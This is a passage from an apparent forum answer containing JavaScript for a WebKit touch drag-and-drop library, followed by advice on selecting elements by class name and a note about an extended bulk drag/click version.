this.droppableRegions = [];
}
this.add = function(root, instance_props)
{
root = webkit_tools.$(root);
var default_props = {accept : [], hoverClass : null, onDrop : webkit_tools.empty, onOver : webkit_tools.empty, onOut : webkit_tools.empty};
default_props = webkit_tools.extend(default_props, instance_props || {});
this.droppables.push({r : root, p : default_props});
}
this.remove = function(root)
{
root = webkit_tools.$(root);
var d = this.droppables;
var i = d.length;
while(i--)
{
if(d[i].r == root)
{
d[i] = null;
this.droppables = webkit_tools.compact(d);
return true;
}
}
return false;
}
//calculate position and size of all droppables
this.prepare = function()
{
var d = this.droppables;
var i = d.length;
var dR = [];
var r = null;
while(i--)
{
r = d[i].r;
if(r.style.display != 'none')
{
dR.push({i : i, size : webkit_tools.getDimensions(r), offset : webkit_tools.cumulativeOffset(r)})
}
}
this.droppableRegions = dR;
}
this.finalize = function(x,y,r,e)
{
var indices = this.isOver(x,y);
var index = this.maxZIndex(indices);
var over = this.process(index,r);
if(over)
{
this.drop(index, r,e);
}
this.process(-1,r);
return over;
}
this.check = function(x,y,r)
{
var indices = this.isOver(x,y);
var index = this.maxZIndex(indices);
return this.process(index,r);
}
this.isOver = function(x, y)
{
var dR = this.droppableRegions;
var i = dR.length;
var active = [];
var r = 0;
var maxX = 0;
var minX = 0;
var maxY = 0;
var minY = 0;
while(i--)
{
r = dR[i];
minY = r.offset.top;
maxY = minY + r.size.height;
if((y > minY) && (y < maxY))
{
minX = r.offset.left;
maxX = minX + r.size.width;
if((x > minX) && (x < maxX))
{
active.push(r.i);
}
}
}
return active;
}
this.maxZIndex = function(indices)
{
var d = this.droppables;
var l = indices.length;
var index = -1;
var maxZ = -100000000;
var curZ = 0;
while(l--)
{
curZ = parseInt(d[indices[l]].r.style.zIndex || 0);
if(curZ > maxZ)
{
maxZ = curZ;
index = indices[l];
}
}
return index;
}
this.process = function(index, draggableRoot)
{
//only perform update if a change has occured
if(this.lastIndex != index)
{
//remove previous
if(this.lastIndex != null)
{
var d = this.droppables[this.lastIndex]
var p = d.p;
var r = d.r;
if(p.hoverClass)
{
webkit_tools.removeClassName(r,p.hoverClass);
}
p.onOut();
this.lastIndex = null;
this.lastOutput = false;
}
//add new
if(index != -1)
{
var d = this.droppables[index]
var p = d.p;
var r = d.r;
if(this.hasClassNames(draggableRoot, p.accept))
{
if(p.hoverClass)
{
webkit_tools.addClassName(r,p.hoverClass);
}
p.onOver();
this.lastIndex = index;
this.lastOutput = true;
}
}
}
return this.lastOutput;
}
this.drop = function(index, r, e)
{
if(index != -1)
{
this.droppables[index].p.onDrop(r,e);
}
}
this.hasClassNames = function(r, names)
{
var l = names.length;
if(l == 0){return true}
while(l--)
{
if(webkit_tools.hasClassName(r,names[l]))
{
return true;
}
}
return false;
}
this.initialize();
}
webkit_drop = new webkit_droppables();
//Description
//webkit draggable - allows users to drag elements with their hands
var webkit_draggable = function(r, ip)
{
this.initialize = function(root, instance_props)
{
this.root = webkit_tools.$(root);
var default_props = {scroll : false, revert : false, handle : this.root, zIndex : 1000, onStart : webkit_tools.empty, onEnd : webkit_tools.empty};
this.p = webkit_tools.extend(default_props, instance_props || {});
default_props.handle = webkit_tools.$(default_props.handle);
this.prepare();
this.bindEvents();
}
this.prepare = function()
{
var rs = this.root.style;
//set position
if(webkit_tools.getCalculatedStyle(this.root,'position') != 'absolute')
{
rs.position = 'relative';
}
//set top, right, bottom, left
rs.top = rs.top || '0px';
rs.left = rs.left || '0px';
rs.right = "";
rs.bottom = "";
//set zindex;
rs.zIndex = rs.zIndex || '0';
}
this.bindEvents = function()
{
var handle = this.p.handle;
this.ts = webkit_tools.bindAsEventListener(this.touchStart, this);
this.tm = webkit_tools.bindAsEventListener(this.touchMove, this);
this.te = webkit_tools.bindAsEventListener(this.touchEnd, this);
handle.addEventListener("touchstart", this.ts, false);
handle.addEventListener("touchmove", this.tm, false);
handle.addEventListener("touchend", this.te, false);
}
this.destroy = function()
{
var handle = this.p.handle;
handle.removeEventListener("touchstart", this.ts);
handle.removeEventListener("touchmove", this.tm);
handle.removeEventListener("touchend", this.te);
}
this.set = function(key, value)
{
this.p[key] = value;
}
this.touchStart = function(event)
{
//prepare needed variables
var p = this.p;
var r = this.root;
var rs = r.style;
var t = event.targetTouches[0];
//get position of touch
touchX = t.pageX;
touchY = t.pageY;
//set base values for position of root
rs.top = this.root.style.top || '0px';
rs.left = this.root.style.left || '0px';
rs.bottom = null;
rs.right = null;
var rootP = webkit_tools.cumulativeOffset(r);
var cp = this.getPosition();
//save event properties
p.rx = cp.x;
p.ry = cp.y;
p.tx = touchX;
p.ty = touchY;
p.z = parseInt(this.root.style.zIndex);
//boost zIndex
rs.zIndex = p.zIndex;
webkit_drop.prepare();
p.onStart();
}
this.touchMove = function(event)
{
event.preventDefault();
event.stopPropagation();
//prepare needed variables
var p = this.p;
var r = this.root;
var rs = r.style;
var t = event.targetTouches[0];
if(t == null){return}
var curX = t.pageX;
var curY = t.pageY;
var delX = curX - p.tx;
var delY = curY - p.ty;
rs.left = p.rx + delX + 'px';
rs.top = p.ry + delY + 'px';
//scroll window
if(p.scroll)
{
s = this.getScroll(curX, curY);
if((s[0] != 0) || (s[1] != 0))
{
window.scrollTo(window.scrollX + s[0], window.scrollY + s[1]);
}
}
//check droppables
webkit_drop.check(curX, curY, r);
//save position for touchEnd
this.lastCurX = curX;
this.lastCurY = curY;
}
this.touchEnd = function(event)
{
var r = this.root;
var p = this.p;
var dropped = webkit_drop.finalize(this.lastCurX, this.lastCurY, r, event);
if(((p.revert) && (!dropped)) || (p.revert === 'always'))
{
//revert root
var rs = r.style;
rs.top = (p.ry + 'px');
rs.left = (p.rx + 'px');
}
r.style.zIndex = this.p.z;
this.p.onEnd();
}
this.getPosition = function()
{
var rs = this.root.style;
return {x : parseInt(rs.left || 0), y : parseInt(rs.top || 0)}
}
this.getScroll = function(pX, pY)
{
//read window variables
var sX = window.scrollX;
var sY = window.scrollY;
var wX = window.innerWidth;
var wY = window.innerHeight;
//set contants
var scroll_amount = 10; //how many pixels to scroll
var scroll_sensitivity = 100; //how many pixels from border to start scrolling from.
var delX = 0;
var delY = 0;
//process vertical y scroll
if(pY - sY < scroll_sensitivity)
{
delY = -scroll_amount;
}
else
if((sY + wY) - pY < scroll_sensitivity)
{
delY = scroll_amount;
}
//process horizontal x scroll
if(pX - sX < scroll_sensitivity)
{
delX = -scroll_amount;
}
else
if((sX + wX) - pX < scroll_sensitivity)
{
delX = scroll_amount;
}
return [delX, delY]
}
//contructor
this.initialize(r, ip);
}
//Description
//webkit_click class. manages click events for draggables
var webkit_click = function(r, ip)
{
this.initialize = function(root, instance_props)
{
var default_props = {onClick : webkit_tools.empty};
this.root = webkit_tools.$(root);
this.p = webkit_tools.extend(default_props, instance_props || {});
this.bindEvents();
}
this.bindEvents = function()
{
var root = this.root;
//bind events to local scope
this.ts = webkit_tools.bindAsEventListener(this.touchStart,this);
this.tm = webkit_tools.bindAsEventListener(this.touchMove,this);
this.te = webkit_tools.bindAsEventListener(this.touchEnd,this);
//add Listeners
root.addEventListener("touchstart", this.ts, false);
root.addEventListener("touchmove", this.tm, false);
root.addEventListener("touchend", this.te, false);
this.bound = true;
}
this.touchStart = function()
{
this.moved = false;
if(this.bound == false)
{
this.root.addEventListener("touchmove", this.tm, false);
this.bound = true;
}
}
this.touchMove = function()
{
this.moved = true;
this.root.removeEventListener("touchmove", this.tm);
this.bound = false;
}
this.touchEnd = function()
{
if(this.moved == false)
{
this.p.onClick();
}
}
this.setEvent = function(f)
{
if(typeof(f) == 'function')
{
this.p.onClick = f;
}
}
this.unbind = function()
{
var root = this.root;
root.removeEventListener("touchstart", this.ts);
root.removeEventListener("touchmove", this.tm);
root.removeEventListener("touchend", this.te);
}
//call constructor
this.initialize(r, ip);
}
If your classnames are unique, the solution is rather simple. You can change the $ function to get by class name instead of by id:
var webkit_tools =
{
//$ function - simply a more robust getElementById
$:function(e)
{
if(typeof(e) == 'string')
{
return document.getElementsByClassName(e)[0];
// return document.getElementById(e);
}
return e;
},
... snipped ...
I've verified the above solution works (dragging and dropping) on my iPhone, but again, if the classnames are not unique, some added work will be in order based on the script's current implementation.
~~~EDIT~~~
In re-reading your request, you state that there will in fact NOT be unique classnames, hence the need for some sort of "bulk" drag/drop functionality. I've modified/extended the framework to support this. You can find the source for the modified version here:
https://gist.github.com/2474416
I had to change the API slightly. The dropabble API is unchanged, so passing a classname will simply add/remove the whole list of elements matching the classname passed. The clickable/draggable API was not so easy. To avoid a harsh rewrite, I updated the initialize methods for draggable/clickable to take an element ref rather than id or classname.
Correspondingly, I added a bulk_draggable(clazzname, options) and bulk_clickable(clazzname, options) function that basically iterates over the matched elements and calls the corresponding initializers. These functions return an array of draggables/clickables (one for each matched element).
Let me know if the "new" API is unclear. I did this rather quickly and lightly tested the happy paths, but can't invest and substantial amount of time rewriting the entire script.